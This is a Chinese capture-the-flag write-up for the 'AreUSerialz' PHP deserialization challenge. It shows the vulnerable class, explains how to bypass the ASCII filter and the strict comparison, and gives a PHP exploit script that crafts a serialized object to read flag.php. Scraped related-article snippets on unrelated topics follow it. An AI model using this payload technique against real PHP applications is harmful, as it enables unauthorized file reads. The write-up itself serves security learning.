BUU [网鼎杯 2020 青龙组]AreUSerialz

BUU [网鼎杯 2020 青龙组]AreUSerialz

先看题目,是个php反序列化。源码如下。

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;             protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {                   //content长度限制<100,没设么用$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}
------------------------------------------------------------------------------------------------
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}
------------------------------------------------------------------------------------------------
if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {                     //均在ascii码表里面$obj = unserialize($str);}}

注意点:


function __construct() {
$this->op = 2;
$this->filename = “flag.php”;

}

construct()里面给变量赋值方法


is_valid()
要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,%00字符的ASCII码为0,不符合上面的要求。

绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

url编码也不行,传进去自动解码,过不去if判断ascii码。


op=2 (int)绕过__destruct。因为类型不一样,int和string,不满足===。


echo file_get_contents("test.txt");       //把整个文件读入一个字符串中,并且回显
echo file_put_contents("test.txt","Hello World. Testing!");   //把一个字符串写入文件中。

链子:__destruct()->process(op= =2)->read()->output(),其他可以不用

这里为什么不是_ _construct开始呢?因为construct在我本地构造序列化字符串时候($j17 = new FileHandler();)就已经执行了,在服务器上面不会执行 _ _construct

exp:
<?php
class FileHandler {public $op;public $filename;            public $content;function __construct() {$this->op = 2;                                   //只改了$this->filename = "flag.php"; (这里也可以用伪协议) //这两行$this->content = "Hello World!";                 }
}$j17 = new FileHandler();
echo urlencode(serialize($j17));
?>

image-20230331191127290

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/9600.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

openwrt使用记录

背景&#xff1a; 平时在vmware中做实验时候&#xff0c;经常需要在不同的机器上下载一些github上的项目进行调试&#xff0c;之前解决方案是在路由器层小米ac2100上装openwrt&#xff0c;试用一番发现太卡了。放弃&#xff0c;这次在vmware中安装作为小米ac2100的旁路由 规划…

全新QQ架构的“NT”版来袭

最近&#xff0c;全新发布的"NT"架构的QQ迎来了更新&#xff0c;同时面向用户开放了下载渠道&#xff0c;有些用户戏称为NT为脑瘫版本&#xff08;bushi&#xff09;苏音体验了以后&#xff0c;描述为&#xff1a;清爽简约还很流畅。 先来看看原来的QQ与现在的NT版本…

STM32外设系列—ESP8266(WIFI)

文章目录 一、ESP8266简介二、固件库烧录三、常用AT指令四、访问API4.1 获取IP地址4.2 GET天气信息4.3 访问结果展示 五、实战项目5.1 串口配置5.2 检测WIFI模块连接状态5.3 发送配置指令5.4 解析天气信息 六、成果展示 一、ESP8266简介 ESP8266是嵌入式和物联网开发中常用的模…

【STM32智能车】寻迹模块

【STM32智能车】寻迹模块 寻迹模块 传感器原理接线说明 智能车寻迹是一种机器人控制技术&#xff0c;它通过使用传感器和程序算法&#xff0c;使汽车能够在行驶过程中识别出路径上的黑线&#xff0c;并沿着该线路行驶。 智能车寻迹常用于竞赛或教育用途&#xff0c;可以提高学生…

大模型浪潮下的平台、框架、AI编译器和芯片架构丨2023智源大会精彩回顾

导读 在大模型时代&#xff0c;应该如何组织AI系统使其能力与市场需求对齐&#xff0c;是底层的AI工程师需要不断思考和探讨的话题。围绕这一问题&#xff0c;在2023智源大会AI系统分论坛上&#xff0c;从事AI框架开发、芯片研发和AI编译器优化的专家汇聚在一起&#xff0c;共同…

Java编译器IDE-Java学习帮手(移动端)

应用商店搜索"java" 编码测试 import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.List;public class SplitTime {private static List<Date> dateSplit(Date start…

Java开发框架:Spring介绍

Spring 概述特点Spring 程序遇到的问题与解决概述 Spring 是 Java EE 编程领域中的一个轻量级开源框架,由 Rod Johnson 在 2002 年最早提出并随后创建,目的是解决企业级编程开发中的复杂性,实现敏捷开发的应用型框架 。其中,轻量级表现在 Spring 是非侵入式的,即开发应用中…

Python安装完成后执行pip命令报错:‘pip‘ 不是内部或外部命令,也不是可运行的程序

解决办法&#xff1a; 已安装pip的情况下&#xff0c;把这个Scripts文件夹的目录添加到Path环境变量即可。   我的电脑 -> 右键 属性 -> 高级系统设置 -> 环境变量 -> path -> 编辑&#xff1a;加入Scripts文件夹的目录    确定即可

读发布!设计与部署稳定的分布式系统(第2版)笔记20_实例层之代码

1. 术语的定义 1.1. 服务 1.1.1. 指共同协作、以单元的形式对外提供功能的跨机器进程集合 1.1.2. 一个服务可以由多种可执行文件组成 1.1.3. 一个服务可能包含来自多个可执行文件的多个进程 1.1.4. 可能对外呈现单个IP地址&#xff0c;并在后台进行负载均衡 1.1.5. 可能有…

HOT47-从前序与中序遍历序列构造二叉树

leetcode原题链接&#xff1a;从前序与中序遍历序列构造二叉树 题目描述 给定两个整数数组 preorder 和 inorder &#xff0c;其中 preorder 是二叉树的先序遍历&#xff0c; inorder 是同一棵树的中序遍历&#xff0c;请构造二叉树并返回其根节点。 示例 1: 输入: preorder …

获取java对象被更新的属性和值

业务场景 更新User信息后&#xff0c;需要收集哪些字段的哪些值被更新了。 思路 比较originUser和newUser&#xff0c;收集值不同的属性以及变化前后的值。 代码实现 public static Map<String, Map<String, Object>> getChange(Object originObject, Object ne…

YoloV5/YoloV7改进---注意力机制:SRM,卷积神经网络再校准模块,性能优于SE、GE

目录 1.SRM介绍 ​编辑 2.SRM引入到yolov5 2.1 加入common.py中&#xff1a; 2.2 加入yolo.py中&#xff1a; 2.3 yolov5s_SRM.yaml 2.4 yolov5s_SRM1.yaml 3.YOLOv5/YOLOv7魔术师专栏介绍 1.SRM介绍 论文&#xff1a;https://openaccess.thecvf.com/content…